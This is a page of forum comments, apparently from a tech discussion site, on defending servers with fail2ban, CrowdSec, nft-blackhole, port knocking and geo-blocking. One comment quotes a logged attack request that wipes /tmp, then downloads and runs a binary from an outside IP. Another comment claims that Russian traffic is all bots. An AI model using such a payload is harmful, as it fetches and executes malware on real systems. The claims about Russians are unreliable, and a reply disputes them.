211–220 of 231 posts
Also with https://www.greynoise.io/ api you can determine if these IPs are scanning the internet or targeting you specifically.
This is a good opportunity to recommend nft blackhole [1]. Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall. It's a 5 minute install and maintenance free afterwards. Not perfect, but reduces attack surface and log spam. [1] https://github.com/tomasz-c/nft-blackhole
I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients. Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from…
I see these articles a lot, and always wonder why people go it alone. Can anyone link to a discussion about a distributed community run firewall? Does such a thing exist? If so, please comment.
I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers. It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients. Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from…
https://crowdsec.net/ can also do something like that, only more advanced in the attacks it detects and because it's sharing bad ips from users to everyone else. I love that users in this way are watching each other's back.
Geo fence them. There is no ROI to providing value to Russia or their partners. They only serve as launchpads for cyber attacks and recon anyway. Chances are any organic Russian would be forbidden from directly viewing your page anyway, so it's literally all bots. Organic Russians come from proxys and VPNs. Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digita…
>Organic Russians come from proxys and VPNs. [citation needed] - I have Russian friends and they generally don't use proxies or VPNs.
I use fail2ban on a server that is listening on a non-standard port. I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled. It was spooky as hell, but as things came back to something resembling normal, the background radiation start…
Earlier quoted context omitted.
The folks at OpenBSD Misc do not recommend port knocking. IIRC one of the reasons stated was a possibility of getting locked out of your own server. I tried looking up the relevant thread, but am on the phone.
Linux's firewall can do port knocking entirely in the kernel: https://wiki.nftables.org/wiki-nftables/index.php/Port_knock... That script gets compiled into BPF and uploaded into the kernel once, at boot/ifup time. All the memory is preallocated. Userspace can be dead/hung/OOM and you can be sure that at least the port knocking won't be why you got locked out.
I did look up OpenBSD pf again, and it too does port knocking in the kernel. My information was dated (left the misc mailing list at least 5 years ago).
Earlier quoted context omitted.
> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…
Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance
(And that one other comment is a little shady as well.)
Give it up already.
Goodbye!
Earlier quoted context omitted.
Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable...
> Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable... The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.
In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??